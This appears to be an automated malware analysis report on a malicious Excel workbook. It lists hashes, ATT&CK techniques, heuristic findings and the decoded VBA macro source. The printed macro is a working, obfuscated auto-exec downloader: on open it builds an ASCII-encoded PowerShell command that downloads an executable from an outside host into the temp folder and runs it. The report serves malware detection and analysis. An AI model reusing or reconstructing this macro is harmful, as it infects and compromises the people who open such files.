Office (OLE) malware analysis — malicious · e8421e6b869ba2b0

MALICIOUS

Office (OLE)

287.5 KB Created: 2020-08-13 23:08:55 Authoring application: Microsoft Excel First seen: 2020-09-07

MD5: e8dea0054ae01ed6ba99d0b282aa4e90 SHA-1: 55d6f7693a58eda0f620333b3fafa278925cab84 SHA-256: e8421e6b869ba2b085581c597cb44af22fd5b4eaa4127510f26733a4d53fa247

260 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The Workbook_Open macro is configured to automatically execute upon opening the Excel file. It leverages the WScript.Shell COM object to run obfuscated PowerShell code. This PowerShell code is designed to download and execute a secondary payload, indicated by the 'caret-obfuscated PowerShell + ASCII-array IEX' heuristic.

Heuristics 6

VBA macros detected medium 5 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA instantiates a dangerous COM class by CLSID critical OLE_VBA_GETOBJECT_CLSID_DANGEROUS

VBA uses GetObject("new:{CLSID}") to instantiate an execution/scripting-capable COM class by its raw CLSID, avoiding the CreateObject ProgID that name-based detection keys on.
VBA WScript CLSID PowerShell runner critical OLE_VBA_GETOBJECT_CLSID_POWERSHELL_RUNNER

VBA auto-exec macro instantiates WScript.Shell through its COM CLSID with GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8"), repairs an obfuscated '^owershell' command, and runs an ASCII-array PowerShell IEX downloader. This is a high-confidence macro execution chain.
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
GetObject call high OLE_VBA_GETOBJ

GetObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6447 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	6447 bytes
SHA-256: `ed5c3a484f2f15002d90b50df80ce6344cb66c44959356760060a72a4cc55946`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Function TPkEqWpTcSt(dcCkfvSKKzmDCkKBdfQgEwTqjaSVjHKwyNtMfYUcBzi, ihOhmgnCIOugJLAFdwbDoqF, ryVELnfEOtIBLkjDTInkSMCTYPyEYelrcZp, KjqUipRPDytsNXkfCUWfvCgwobgjIQZmuv, kSTBdunQZVGqAuFoHCKsHDufHJiHmZHxSezNjTt, IlGaikfpDcRkjDlhXntTMgdAOIYWurFo, ajVwTxXdsE, HXOOsSpwaZYc, FMaMIuLWdb) uJecBJOiCHNrHWKUysndvEvcilFDjEzpMUfDe = "JNPsHMCtwTLVVjePvp" BuQDKyxHXemqHq = 6.96566834069424E+22 jZOCxiaopmsOiQKwZqocYtKFuJEf = 418990 JcDepAFBssfbFaR = 9.85760106394251E+31 jOrMhNATNHpPJIndu = "fJoktQFvgxJATStnKvNSgvbk" hKpskFBgevHczVbGm = 3.81968105744227E+17 CKMoXWVysQctjhETLFQDwsHUoXlKK = 1.16136150674601E+39 mLuOYaEsnTWlMlElLZYgJVqi = 7.10019230408812E+30 KCsAAkLnSdQzUIePSSwhKfVPCLLmeQQU = "dOXLsmjLyuHn" qRuRqDuBaegdyoYZJBMvnruGDafNWMlOc = 3.63047408295424E+24 UusMaNaJCkrityKl = "suryzXnNPXgfOsSAiUehwbzVdoJPVghDkXs" kRVXEzKqteorYhLefEs = "vWVLNXsiqdvrAyPQz" cxQIbzASq = 2.79665356392545E+31 UDXffaYOvKKgHczPixqaRveYcvBmuWKuhD = "nGQLZaBVpxvpnI" TPkEqWpTcSt "QCbQWZYyCkYl" End Function Function LFgCWlDHnrQXTWMiEmYPDrekaCnQDRJFtVIzFnHbUS(ZzPzDOMJSlQzQZpbgFO, iGITQhnOINbBogwphwmZwCxRKQ, ziXWeKHlS, wjWayBFJPKjdAtjSphgJqIzaoglqxrhvdylNP, xBrHvFXWidmLVZEJAnjvmRQPMYdnABHWDqjeRiNtDR, HDlVHqUyyeULglcvWcjWhWQIeqZrRapsUTILbCWxfD, sjeDtonqRUv, lncrRQcgXobrMcRU, FmqeMYZzmgCejXYZDXY) uPeKNLqUQyIvU = 7581 wcTxnEViLexOMcRfxvkfkUvr = 7420716209# FMxsHkanZILndgNqLEAMzyND = 6.56239763333518E+38 BNKpqbhbXirYpDtXanTGrTOXoYPueaGy = "HFWQyihdLGyVSWAGpZLuwthzmARMmwwcsdiyXGb" mcfMPBW = "PopBu" xNYWdxQ = "qOKWcpoCjjxGHUOVjleP" yHvhofUaAddoRmQCtYhOMEGDoxdzCnsTAYrGPooJU = "iFTSpixTqMxBjtBrtqBUXNlKn" uJmFkXukWAjVHvCjwgWzoxFXvyHzFVUJewnngk = "ZHzXBHXjGRnQFooFwEPKmQufB" arKHPDMDwroaDPXOBiREPVqrriRa = "JNUWVhgYyCkEBrwQWAzmXPMNwQFATQgmlNne" DhirqCfhAOdubUhSoSu = "GaFc" EhWxTnERwSTQvgMggvBbFswyUxut = 9.29042701301213E+32 NdcGLlUJjhaZceCOBsmhUaeEAa = 15786390 lXdVsKojoqKku = "XwOaCdNtjTEIMJmzXFkZilGLiOovOXqIrpweP" LFgCWlDHnrQXTWMiEmYPDrekaCnQDRJFtVIzFnHbUS "xwzsnKRkyfwoSEzVJlqCsnoRfL" End Function Private Sub Workbook_Open() cFiUxhfCa = "^owershell.exe $Mo=@(91,118,111,105,100,93,91,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,65,115,115,101,109,98,108,121,93,58,58,76,111,97,100,87,105,116,104,80,97,114,116,105,97,108,78,97,109,101,40,39,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,39,41,59,36,97,61,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,97,108,108,66,121,110,97,109,101,40,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,44,39,68,111,119,110," cFiUxhfCa = cFiUxhfCa + "108,111,97,100,70,105,108,101,39,44,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,67,97,108,108,84,121,112,101,93,58,58,77,101,116,104,111,100,44,39,104,116,116,112,58,47,47,108,101,115,97,100,104,46,99,111,109,47,98,105,109,47,70,105,108,101,46,116,120,116,39,44,36,101,110,118,58,116,101,109,112,43,39,92,39,43,39,108,74,72,109,71,78,106,78,100,39,43,39,46,101,120,101,39,41,59,32,115,116,97,114,116,45,112,114,111,99,101,115,115,40,36,101,110,118,58,116,101,109,112,43,39,92,39,43,39,108,74,72,109,71,78,106,78,100,39,43,39,46,101,120,101,39,41);$t=[System.Text.Encoding]::ASCII.GetString($Mo)\|IEX" If Log(367) = 7678.687546 Then While "oBjivQdGGYTXWglkHWUjBeoVQUhTnfJNEyThtFFtRSv" = "VnhrXxuTeEqKMNRaiKTaPGS" NErBQbRjjRzdnpvqlpiAIJU = "oeKHyVIPUJeTFtDDmGbvNontOcoZXSP" jLMlQ = "lNJkIdLbkrm" NBiZRzrRsWgirCuZktgRmcVNmcfJhns = 23 nsEOWKuNuzRPhatFjlrqLVtlfVmoThjFdjvyyfDZzTXmLGf = "jaawvBlSzTiAX" tMQMly = "uHDhRqrxGZYpaFtGnJbxczewDBuaKW" VhgoSXOeLtUttJLxzzFcCJACudGeQwRnjaDIuRbjYfQEIGlmr = "vaEuwL" Wend Else 'MsgBox ("fg") If Cos(568) * Sq ... (truncated)

SHA-256: ed5c3a484f2f15002d90b50df80ce6344cb66c44959356760060a72a4cc55946

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function TPkEqWpTcSt(dcCkfvSKKzmDCkKBdfQgEwTqjaSVjHKwyNtMfYUcBzi, ihOhmgnCIOugJLAFdwbDoqF, ryVELnfEOtIBLkjDTInkSMCTYPyEYelrcZp, KjqUipRPDytsNXkfCUWfvCgwobgjIQZmuv, kSTBdunQZVGqAuFoHCKsHDufHJiHmZHxSezNjTt, IlGaikfpDcRkjDlhXntTMgdAOIYWurFo, ajVwTxXdsE, HXOOsSpwaZYc, FMaMIuLWdb)
uJecBJOiCHNrHWKUysndvEvcilFDjEzpMUfDe = "JNPsHMCtwTLVVjePvp"
BuQDKyxHXemqHq = 6.96566834069424E+22
jZOCxiaopmsOiQKwZqocYtKFuJEf = 418990
JcDepAFBssfbFaR = 9.85760106394251E+31
jOrMhNATNHpPJIndu = "fJoktQFvgxJATStnKvNSgvbk"
hKpskFBgevHczVbGm = 3.81968105744227E+17
CKMoXWVysQctjhETLFQDwsHUoXlKK = 1.16136150674601E+39
mLuOYaEsnTWlMlElLZYgJVqi = 7.10019230408812E+30
KCsAAkLnSdQzUIePSSwhKfVPCLLmeQQU = "dOXLsmjLyuHn"
qRuRqDuBaegdyoYZJBMvnruGDafNWMlOc = 3.63047408295424E+24
UusMaNaJCkrityKl = "suryzXnNPXgfOsSAiUehwbzVdoJPVghDkXs"
kRVXEzKqteorYhLefEs = "vWVLNXsiqdvrAyPQz"
cxQIbzASq = 2.79665356392545E+31
UDXffaYOvKKgHczPixqaRveYcvBmuWKuhD = "nGQLZaBVpxvpnI"
TPkEqWpTcSt "QCbQWZYyCkYl"
End Function

Function LFgCWlDHnrQXTWMiEmYPDrekaCnQDRJFtVIzFnHbUS(ZzPzDOMJSlQzQZpbgFO, iGITQhnOINbBogwphwmZwCxRKQ, ziXWeKHlS, wjWayBFJPKjdAtjSphgJqIzaoglqxrhvdylNP, xBrHvFXWidmLVZEJAnjvmRQPMYdnABHWDqjeRiNtDR, HDlVHqUyyeULglcvWcjWhWQIeqZrRapsUTILbCWxfD, sjeDtonqRUv, lncrRQcgXobrMcRU, FmqeMYZzmgCejXYZDXY)
uPeKNLqUQyIvU = 7581
wcTxnEViLexOMcRfxvkfkUvr = 7420716209#
FMxsHkanZILndgNqLEAMzyND = 6.56239763333518E+38
BNKpqbhbXirYpDtXanTGrTOXoYPueaGy = "HFWQyihdLGyVSWAGpZLuwthzmARMmwwcsdiyXGb"
mcfMPBW = "PopBu"
xNYWdxQ = "qOKWcpoCjjxGHUOVjleP"
yHvhofUaAddoRmQCtYhOMEGDoxdzCnsTAYrGPooJU = "iFTSpixTqMxBjtBrtqBUXNlKn"
uJmFkXukWAjVHvCjwgWzoxFXvyHzFVUJewnngk = "ZHzXBHXjGRnQFooFwEPKmQufB"
arKHPDMDwroaDPXOBiREPVqrriRa = "JNUWVhgYyCkEBrwQWAzmXPMNwQFATQgmlNne"
DhirqCfhAOdubUhSoSu = "GaFc"
EhWxTnERwSTQvgMggvBbFswyUxut = 9.29042701301213E+32
NdcGLlUJjhaZceCOBsmhUaeEAa = 15786390
lXdVsKojoqKku = "XwOaCdNtjTEIMJmzXFkZilGLiOovOXqIrpweP"
LFgCWlDHnrQXTWMiEmYPDrekaCnQDRJFtVIzFnHbUS "xwzsnKRkyfwoSEzVJlqCsnoRfL"
End Function

Private Sub Workbook_Open()
cFiUxhfCa = "^owershell.exe $Mo=@(91,118,111,105,100,93,91,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,65,115,115,101,109,98,108,121,93,58,58,76,111,97,100,87,105,116,104,80,97,114,116,105,97,108,78,97,109,101,40,39,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,39,41,59,36,97,61,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,97,108,108,66,121,110,97,109,101,40,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,44,39,68,111,119,110,"
cFiUxhfCa = cFiUxhfCa + "108,111,97,100,70,105,108,101,39,44,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,67,97,108,108,84,121,112,101,93,58,58,77,101,116,104,111,100,44,39,104,116,116,112,58,47,47,108,101,115,97,100,104,46,99,111,109,47,98,105,109,47,70,105,108,101,46,116,120,116,39,44,36,101,110,118,58,116,101,109,112,43,39,92,39,43,39,108,74,72,109,71,78,106,78,100,39,43,39,46,101,120,101,39,41,59,32,115,116,97,114,116,45,112,114,111,99,101,115,115,40,36,101,110,118,58,116,101,109,112,43,39,92,39,43,39,108,74,72,109,71,78,106,78,100,39,43,39,46,101,120,101,39,41);$t=[System.Text.Encoding]::ASCII.GetString($Mo)|IEX"






If Log(367) = 7678.687546 Then
While "oBjivQdGGYTXWglkHWUjBeoVQUhTnfJNEyThtFFtRSv" = "VnhrXxuTeEqKMNRaiKTaPGS"
NErBQbRjjRzdnpvqlpiAIJU = "oeKHyVIPUJeTFtDDmGbvNontOcoZXSP"
jLMlQ = "lNJkIdLbkrm"
NBiZRzrRsWgirCuZktgRmcVNmcfJhns = 23
nsEOWKuNuzRPhatFjlrqLVtlfVmoThjFdjvyyfDZzTXmLGf = "jaawvBlSzTiAX"
tMQMly = "uHDhRqrxGZYpaFtGnJbxczewDBuaKW"
VhgoSXOeLtUttJLxzzFcCJACudGeQwRnjaDIuRbjYfQEIGlmr = "vaEuwL"
Wend

Else

'MsgBox ("fg")

If Cos(568) * Sq
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.